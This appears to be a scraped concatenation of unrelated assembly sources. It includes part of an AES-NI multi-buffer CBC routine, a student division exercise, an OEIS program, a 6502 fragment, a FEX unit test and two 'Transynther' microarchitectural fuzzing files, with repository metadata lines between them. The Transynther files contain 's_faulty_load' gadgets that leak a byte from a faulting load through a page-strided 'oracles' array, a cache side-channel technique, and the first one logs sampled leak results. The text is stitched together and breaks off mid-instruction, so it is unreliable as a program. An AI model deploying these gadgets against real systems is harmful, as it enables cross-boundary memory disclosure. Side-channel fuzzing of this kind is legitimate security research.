xmm1,XMMWORD[((144-120))+rsi] cmp eax,11 DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 movups xmm0,XMMWORD[((160-120))+rsi] jb NEAR $L$enc4x_tail DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 movups xmm1,XMMWORD[((176-120))+rsi] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 movups xmm0,XMMWORD[((192-120))+rsi] je NEAR $L$enc4x_tail DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 movups xmm1,XMMWORD[((208-120))+rsi] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 DB 102,15,56,220,232 movups xmm0,XMMWORD[((224-120))+rsi] jmp NEAR $L$enc4x_tail ALIGN 32 $L$enc4x_tail: DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 DB 102,15,56,220,233 movdqu xmm6,XMMWORD[rbx*1+r8] movdqu xmm1,XMMWORD[((16-120))+rsi] DB 102,15,56,221,208 movdqu xmm7,XMMWORD[rbx*1+r9] pxor xmm6,xmm12 DB 102,15,56,221,216 movdqu xmm8,XMMWORD[rbx*1+r10] pxor xmm7,xmm12 DB 102,15,56,221,224 movdqu xmm9,XMMWORD[rbx*1+r11] pxor xmm8,xmm12 DB 102,15,56,221,232 movdqu xmm0,XMMWORD[((32-120))+rsi] pxor xmm9,xmm12 movups XMMWORD[(-16)+rbx*1+r12],xmm2 pxor xmm2,xmm6 movups XMMWORD[(-16)+rbx*1+r13],xmm3 pxor xmm3,xmm7 movups XMMWORD[(-16)+rbx*1+r14],xmm4 pxor xmm4,xmm8 movups XMMWORD[(-16)+rbx*1+r15],xmm5 pxor xmm5,xmm9 dec edx jnz NEAR $L$oop_enc4x mov rax,QWORD[16+rsp] mov edx,DWORD[24+rsp] lea rdi,[160+rdi] dec edx jnz NEAR $L$enc4x_loop_grande $L$enc4x_done: movaps xmm6,XMMWORD[((-216))+rax] movaps xmm7,XMMWORD[((-200))+rax] movaps xmm8,XMMWORD[((-184))+rax] movaps xmm9,XMMWORD[((-168))+rax] movaps xmm10,XMMWORD[((-152))+rax] movaps xmm11,XMMWORD[((-136))+rax] movaps xmm12,XMMWORD[((-120))+rax] mov r15,QWORD[((-48))+rax] mov r14,QWORD[((-40))+rax] mov r13,QWORD[((-32))+rax] mov r12,QWORD[((-24))+rax] mov rbp,QWORD[((-16))+rax] mov rbx,QWORD[((-8))+rax] lea rsp,[rax] $L$enc4x_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_multi_cbc_encrypt: global aesni_multi_cbc_decrypt ALIGN 32 aesni_multi_cbc_decrypt: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_multi_cbc_decrypt: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rax,rsp push rbx push rbp push r12 push r13 push r14 push r15 lea rsp,[((-168))+rsp] movaps XMMWORD[rsp],xmm6 movaps XMMWORD[16+rsp],xmm7 movaps XMMWORD[32+rsp],xmm8 movaps XMMWORD[48+rsp],xmm9 movaps XMMWORD[64+rsp],xmm10 movaps XMMWORD[80+rsp],xmm11 movaps XMMWORD[96+rsp],xmm12 movaps XMMWORD[(-104)+rax],xmm13 movaps XMMWORD[(-88)+rax],xmm14 movaps XMMWORD[(-72)+rax],xmm15 sub rsp,48 and rsp,-64 mov QWORD[16+rsp],rax $L$dec4x_body: movdqu xmm12,XMMWORD[rsi] lea rsi,[120+rsi] lea rdi,[80+rdi] $L$dec4x_loop_grande: mov DWORD[24+rsp],edx xor edx,edx mov ecx,DWORD[((-64))+rdi] mov r8,QWORD[((-80))+rdi] cmp ecx,edx mov r12,QWORD[((-72))+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm6,XMMWORD[((-56))+rdi] mov DWORD[32+rsp],ecx cmovle r8,rsp mov ecx,DWORD[((-24))+rdi] mov r9,QWORD[((-40))+rdi] cmp ecx,edx mov r13,QWORD[((-32))+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm7,XMMWORD[((-16))+rdi] mov DWORD[36+rsp],ecx cmovle r9,rsp mov ecx,DWORD[16+rdi] mov r10,QWORD[rdi] cmp ecx,edx mov r14,QWORD[8+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm8,XMMWORD[24+rdi] mov DWORD[40+rsp],ecx cmovle r10,rsp mov ecx,DWORD[56+rdi] mov r11,QWORD[40+rdi] cmp ecx,edx mov r15,QWORD[48+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm9,XMMWORD[64+rdi] mov DWORD[44+rsp],ecx cmovle r11,rsp test edx,edx jz NEAR $L$dec4x_done movups xmm1,XMMWORD[((16-120))+rsi] movups xmm0,XMMWORD[((32-120))+rsi] mov eax,DWORD[((240-120))+rsi] movdqu xmm2,XMMWORD[r8] movdqu xmm3,XMMWORD[r9] pxor xmm2,xmm12 movdqu xmm4,XMMWORD[r10] pxor xmm3,xmm12 movdqu xmm5,XMMWORD[r11] pxor xmm4,xmm12 pxor xmm5,xmm12 movdqa xmm10,XMMWORD[32+rsp] xor rbx,rbx jmp NEAR $L$oop_dec4x ALIGN 32 $L$oop_dec4x: add rbx,16 lea rbp,[16+rsp] mov ecx,1 sub rbp,rbx DB 102,15,56,222,209 prefetcht0 [31+rbx*1+r8] prefetcht0 [31+rbx*1+r9] DB 102,15,56,222,217 prefetcht0 [31+rbx*1+r10] prefetcht0 [31+rbx*1+r11] DB 102,15,56,222,225 DB 102,15,56,222,233 movups xmm1,XMMWORD[((48-120))+rsi] cmp ecx,DWORD[32+rsp] DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 cmovge r8,rbp cmovg r12,rbp DB 102,15,56,222,232 movups xmm0,XMMWORD[((-56))+rsi] cmp ecx,DWORD[36+rsp] DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 cmovge r9,rbp cmovg r13,rbp DB 102,15,56,222,233 movups xmm1,XMMWORD[((-40))+rsi] cmp ecx,DWORD[40+rsp] DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 cmovge r10,rbp cmovg r14,rbp DB 102,15,56,222,232 movups xmm0,XMMWORD[((-24))+rsi] cmp ecx,DWORD[44+rsp] DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 cmovge r11,rbp cmovg r15,rbp DB 102,15,56,222,233 movups xmm1,XMMWORD[((-8))+rsi] movdqa xmm11,xmm10 DB 102,15,56,222,208 prefetcht0 [15+rbx*1+r12] prefetcht0 [15+rbx*1+r13] DB 102,15,56,222,216 prefetcht0 [15+rbx*1+r14] prefetcht0 [15+rbx*1+r15] DB 102,15,56,222,224 DB 102,15,56,222,232 movups xmm0,XMMWORD[((128-120))+rsi] pxor xmm12,xmm12 DB 102,15,56,222,209 pcmpgtd xmm11,xmm12 movdqu xmm12,XMMWORD[((-120))+rsi] DB 102,15,56,222,217 paddd xmm10,xmm11 movdqa XMMWORD[32+rsp],xmm10 DB 102,15,56,222,225 DB 102,15,56,222,233 movups xmm1,XMMWORD[((144-120))+rsi] cmp eax,11 DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 movups xmm0,XMMWORD[((160-120))+rsi] jb NEAR $L$dec4x_tail DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 movups xmm1,XMMWORD[((176-120))+rsi] DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 movups xmm0,XMMWORD[((192-120))+rsi] je NEAR $L$dec4x_tail DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 DB 102,15,56,222,233 movups xmm1,XMMWORD[((208-120))+rsi] DB 102,15,56,222,208 DB 102,15,56,222,216 DB 102,15,56,222,224 DB 102,15,56,222,232 movups xmm0,XMMWORD[((224-120))+rsi] jmp NEAR $L$dec4x_tail ALIGN 32 $L$dec4x_tail: DB 102,15,56,222,209 DB 102,15,56,222,217 DB 102,15,56,222,225 pxor xmm6,xmm0 pxor xmm7,xmm0 DB 102,15,56,222,233 movdqu xmm1,XMMWORD[((16-120))+rsi] pxor xmm8,xmm0 pxor xmm9,xmm0 movdqu xmm0,XMMWORD[((32-120))+rsi] DB 102,15,56,223,214 DB 102,15,56,223,223 movdqu xmm6,XMMWORD[((-16))+rbx*1+r8] movdqu xmm7,XMMWORD[((-16))+rbx*1+r9] DB 102,65,15,56,223,224 DB 102,65,15,56,223,233 movdqu xmm8,XMMWORD[((-16))+rbx*1+r10] movdqu xmm9,XMMWORD[((-16))+rbx*1+r11] movups XMMWORD[(-16)+rbx*1+r12],xmm2 movdqu xmm2,XMMWORD[rbx*1+r8] movups XMMWORD[(-16)+rbx*1+r13],xmm3 movdqu xmm3,XMMWORD[rbx*1+r9] pxor xmm2,xmm12 movups XMMWORD[(-16)+rbx*1+r14],xmm4 movdqu xmm4,XMMWORD[rbx*1+r10] pxor xmm3,xmm12 movups XMMWORD[(-16)+rbx*1+r15],xmm5 movdqu xmm5,XMMWORD[rbx*1+r11] pxor xmm4,xmm12 pxor xmm5,xmm12 dec edx jnz NEAR $L$oop_dec4x mov rax,QWORD[16+rsp] mov edx,DWORD[24+rsp] lea rdi,[160+rdi] dec edx jnz NEAR $L$dec4x_loop_grande $L$dec4x_done: movaps xmm6,XMMWORD[((-216))+rax] movaps xmm7,XMMWORD[((-200))+rax] movaps xmm8,XMMWORD[((-184))+rax] movaps xmm9,XMMWORD[((-168))+rax] movaps xmm10,XMMWORD[((-152))+rax] movaps xmm11,XMMWORD[((-136))+rax] movaps xmm12,XMMWORD[((-120))+rax] mov r15,QWORD[((-48))+rax] mov r14,QWORD[((-40))+rax] mov r13,QWORD[((-32))+rax] mov r12,QWORD[((-24))+rax] mov rbp,QWORD[((-16))+rax] mov rbx,QWORD[((-8))+rax] lea rsp,[rax] $L$dec4x_epilogue: mov rdi,QWORD[8+rsp] ;WIN64 epilogue mov rsi,QWORD[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_aesni_multi_cbc_decrypt: EXTERN __imp_RtlVirtualUnwind ALIGN 16 se_handler: push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD[120+r8] mov rbx,QWORD[248+r8] mov rsi,QWORD[8+r9] mov r11,QWORD[56+r9] mov r10d,DWORD[r11] lea r10,[r10*1+rsi] cmp rbx,r10 jb NEAR $L$in_prologue mov rax,QWORD[152+r8] mov r10d,DWORD[4+r11] lea r10,[r10*1+rsi] cmp rbx,r10 jae NEAR $L$in_prologue mov rax,QWORD[16+rax] mov rbx,QWORD[((-8))+rax] mov rbp,QWORD[((-16))+rax] mov r12,QWORD[((-24))+rax] mov r13,QWORD[((-32))+rax] mov r14,QWORD[((-40))+rax] mov r15,QWORD[((-48))+rax] mov QWORD[144+r8],rbx mov QWORD[160+r8],rbp mov QWORD[216+r8],r12 mov QWORD[224+r8],r13 mov QWORD[232+r8],r14 mov QWORD[240+r8],r15 lea rsi,[((-56-160))+rax] lea rdi,[512+r8] mov ecx,20 DD 0xa548f3fc $L$in_prologue: mov rdi,QWORD[8+rax] mov rsi,QWORD[16+rax] mov QWORD[152+r8],rax mov QWORD[168+r8],rsi mov QWORD[176+r8],rdi mov rdi,QWORD[40+r9] mov rsi,r8 mov ecx,154 DD 0xa548f3fc mov rsi,r9 xor rcx,rcx mov rdx,QWORD[8+rsi] mov r8,QWORD[rsi] mov r9,QWORD[16+rsi] mov r10,QWORD[40+rsi] lea r11,[56+rsi] lea r12,[24+rsi] mov QWORD[32+rsp],r10 mov QWORD[40+rsp],r11 mov QWORD[48+rsp],r12 mov QWORD[56+rsp],rcx call QWORD[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret section .pdata rdata align=4 ALIGN 4 DD $L$SEH_begin_aesni_multi_cbc_encrypt wrt ..imagebase DD $L$SEH_end_aesni_multi_cbc_encrypt wrt ..imagebase DD $L$SEH_info_aesni_multi_cbc_encrypt wrt ..imagebase DD $L$SEH_begin_aesni_multi_cbc_decrypt wrt ..imagebase DD $L$SEH_end_aesni_multi_cbc_decrypt wrt ..imagebase DD $L$SEH_info_aesni_multi_cbc_decrypt wrt ..imagebase section .xdata rdata align=8 ALIGN 8 $L$SEH_info_aesni_multi_cbc_encrypt: DB 9,0,0,0 DD se_handler wrt ..imagebase DD $L$enc4x_body wrt ..imagebase,$L$enc4x_epilogue wrt ..imagebase $L$SEH_info_aesni_multi_cbc_decrypt: DB 9,0,0,0 DD se_handler wrt ..imagebase DD $L$dec4x_body wrt ..imagebase,$L$dec4x_epilogue wrt ..imagebase
26.912688
80
0.499518
09e9d5601b5482d727786e40331cef1fd6687c22
5,553
asm
Assembly
Transynther/x86/_processed/NONE/_ht_zr_/i7-8650U_0xd2.log_2860_1378.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i7-8650U_0xd2.log_2860_1378.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i7-8650U_0xd2.log_2860_1378.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x68a5, %r9 nop nop nop nop and %r14, %r14 mov (%r9), %r8w nop nop nop nop nop add %r12, %r12 lea addresses_normal_ht+0x1dea5, %rax nop nop nop nop nop and $4160, %rbp vmovups (%rax), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r15 nop xor $36363, %r15 lea addresses_A_ht+0xbd05, %rbp clflush (%rbp) nop and $63858, %r15 mov (%rbp), %r14d nop nop nop nop nop add %r12, %r12 lea addresses_WT_ht+0x1b0ef, %r12 clflush (%r12) nop nop xor %r9, %r9 mov $0x6162636465666768, %rbp movq %rbp, (%r12) nop nop cmp $65448, %r8 lea addresses_D_ht+0x12fa5, %r14 nop nop nop cmp $8514, %rax mov $0x6162636465666768, %rbp movq %rbp, %xmm7 vmovups %ymm7, (%r14) dec %rbp lea addresses_UC_ht+0x17de5, %rsi lea addresses_UC_ht+0x15ea5, %rdi nop nop nop cmp %r12, %r12 mov $0, %rcx rep movsq nop and $51545, %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %r8 push %rcx // Faulty Load lea addresses_UC+0x138a5, %r12 and $41733, %rcx vmovups (%r12), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r11 lea oracles, %r10 and $0xff, %r11 shlq $12, %r11 mov (%r10,%r11,1), %r11 pop %rcx pop %r8 pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}} {'00': 2707, '44': 153} 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 */
41.75188
2,999
0.660184
d7393825f18a3d48ab0fdb15dab67efad7e71fea
1,257
asm
Assembly
Labs/Lab4_Sum-Multiplication-Arrays/8-divide/divide.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
null
null
null
Labs/Lab4_Sum-Multiplication-Arrays/8-divide/divide.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
null
null
null
Labs/Lab4_Sum-Multiplication-Arrays/8-divide/divide.asm
CristianCotovanu/IOCLA
94bc8b092beae8ddba76d95617e7eb5b8cef52f5
[ "MIT" ]
null
null
null
%include "io.inc" ; https://en.wikibooks.org/wiki/X86_Assembly/Arithmetic section .data string_quotient db "Quotient: ", 0 string_remainder db "Remainder: ", 0 dividend1 db 91 divisor1 db 27 dividend2 dd 67254 divisor2 dw 1349 dividend3 dq 69094148 divisor3 dd 87621 section .text global CMAIN CMAIN: push ebp mov ebp, esp xor eax, eax mov al, byte [dividend1] mov bl, byte [divisor1] div bl PRINT_STRING string_quotient PRINT_UDEC 1, AL NEWLINE PRINT_STRING string_remainder PRINT_UDEC 1, AH NEWLINE xor eax, eax xor edx, edx mov ax, word [dividend2] mov dx, word [dividend2 + 2] mov bx, word [divisor2] div bx PRINT_STRING string_quotient PRINT_UDEC 2, AX NEWLINE PRINT_STRING string_remainder PRINT_UDEC 2, DX NEWLINE xor eax, eax xor edx, edx mov eax, dword [dividend3] mov edx, dword [dividend3 + 4] mov ebx, dword [divisor3] div ebx PRINT_STRING string_quotient PRINT_UDEC 4, EAX NEWLINE PRINT_STRING string_remainder PRINT_UDEC 4, EDX NEWLINE leave ret
18.761194
56
0.603819
0a73cc94170acffe4d610e13ce406b08c986f843
362
asm
Assembly
programs/oeis/302/A302647.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/302/A302647.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/302/A302647.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A302647: a(n) = (2*n^2*(n^2 - 3) - (2*n^2 + 1)*(-1)^n + 1)/64. ; 0,0,2,6,18,36,72,120,200,300,450,630,882,1176,1568,2016,2592,3240,4050,4950,6050,7260,8712,10296,12168,14196,16562,19110,22050,25200,28800,32640,36992,41616,46818,52326,58482,64980,72200,79800,88200,97020,106722 lpb $0 add $1,$0 sub $0,2 lpe add $0,$1 mul $1,$0 div $1,4 mul $1,2 mov $0,$1
27.846154
213
0.649171
e1ee566a9ee904cbe0d78174f31e7962616e639c
49
asm
Assembly
CrabVMS/Demo/Build/System.asm
aleyn/MiCO_Demo
0f17a779646d197d8cd2521ab7d0a4c77050ae39
[ "MIT" ]
null
null
null
CrabVMS/Demo/Build/System.asm
aleyn/MiCO_Demo
0f17a779646d197d8cd2521ab7d0a4c77050ae39
[ "MIT" ]
null
null
null
CrabVMS/Demo/Build/System.asm
aleyn/MiCO_Demo
0f17a779646d197d8cd2521ab7d0a4c77050ae39
[ "MIT" ]
null
null
null
;Generate by CrabScript v3.0 ;Compile Mode: 3
16.333333
29
0.714286
56f15a738284815360074f9be8a357c9d6c9dd37
93
asm
Assembly
src/main/fragment/mos6502-common/vwum1=vwum2_rol_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vwum1=vwum2_rol_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vwum1=vwum2_rol_vbuyy.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m2} sta {m1} lda {m2}+1 sta {m1}+1 cpy #0 beq !e+ !: asl {m1} rol {m1}+1 dey bne !- !e:
7.153846
10
0.516129
75acbb39e2cdf493dcd791607d10a6ee6ddd7a4e
201
asm
Assembly
Calculator/multiplication.asm
JaredsOSToolbox/AssemblerPrograms
a9158c5b135689ec39c71944c121d65a61d8a6b4
[ "MIT" ]
null
null
null
Calculator/multiplication.asm
JaredsOSToolbox/AssemblerPrograms
a9158c5b135689ec39c71944c121d65a61d8a6b4
[ "MIT" ]
null
null
null
Calculator/multiplication.asm
JaredsOSToolbox/AssemblerPrograms
a9158c5b135689ec39c71944c121d65a61d8a6b4
[ "MIT" ]
null
null
null
section .text global _start _start: xor r9, r9 xor r10, r10 mov r9, 10 mov r10, 19 imul r9, r10 mov rax, 60 mov rdi, r9 ; move the content of r9 into rdi so we can see the muliplication result syscall
16.75
84
0.741294
301486876f7c957c9ff02a74a9b8e46c2a786ae1
712
asm
Assembly
unittests/ASM/OpSize/66_2D.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
628
2020-03-06T14:01:32.000Z
2022-03-31T06:35:14.000Z
unittests/ASM/OpSize/66_2D.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
576
2020-03-06T08:25:12.000Z
2022-03-30T04:05:29.000Z
unittests/ASM/OpSize/66_2D.asm
cobalt2727/FEX
13087f8425aeaad28dc81bed46a83e1d72ff0db8
[ "MIT" ]
38
2020-03-07T06:10:00.000Z
2022-03-29T09:27:36.000Z
%ifdef CONFIG { "RegData": { "MM0": "0x0000000200000001", "MM1": "0xFFFFFFFEFFFFFFFF" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rdx, 0xe0000000 ; Set up MXCSR to truncate mov eax, 0x7F80 mov [rdx + 8 * 0], eax ldmxcsr [rdx + 8 * 0] mov rax, 0x3ff0000000000000 mov [rdx + 8 * 0], rax mov rax, 0x4000000000000000 mov [rdx + 8 * 1], rax mov rax, 0xbff0000000000000 mov [rdx + 8 * 2], rax mov rax, 0xc000000000000000 mov [rdx + 8 * 3], rax mov rax, 0x4142434445464748 mov [rdx + 8 * 4], rax mov rax, 0x5152535455565758 mov [rdx + 8 * 5], rax movq mm0, [rdx + 8 * 4] movq mm1, [rdx + 8 * 4] movapd xmm2, [rdx + 8 * 0] cvtpd2pi mm0, xmm2 cvtpd2pi mm1, [rdx + 8 * 2] hlt
16.181818
33
0.627809
59287962511f85b4e6198aee301e97c90d7bd708
5,534
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1758.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1b614, %rsi lea addresses_D_ht+0x1ca1a, %rdi nop nop dec %r9 mov $28, %rcx rep movsb nop nop nop nop xor %rbp, %rbp lea addresses_D_ht+0x12646, %r12 nop nop add $6495, %r11 mov $0x6162636465666768, %rdi movq %rdi, %xmm0 and $0xffffffffffffffc0, %r12 vmovntdq %ymm0, (%r12) nop nop nop nop add $14814, %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r13 push %r8 push %r9 push %rdi push %rsi // Store lea addresses_normal+0x170ba, %rsi nop inc %r9 movb $0x51, (%rsi) nop nop nop cmp %r13, %r13 // Store lea addresses_WT+0x9c1a, %r8 nop nop nop nop xor $28100, %r10 movw $0x5152, (%r8) nop dec %rdi // Load mov $0x9a, %r9 nop nop sub $42178, %r13 movb (%r9), %r10b xor $24738, %r10 // Store mov $0xbda, %r10 nop nop nop xor $7519, %r11 movb $0x51, (%r10) nop nop nop xor $6385, %rdi // Load lea addresses_WT+0xb61a, %r11 inc 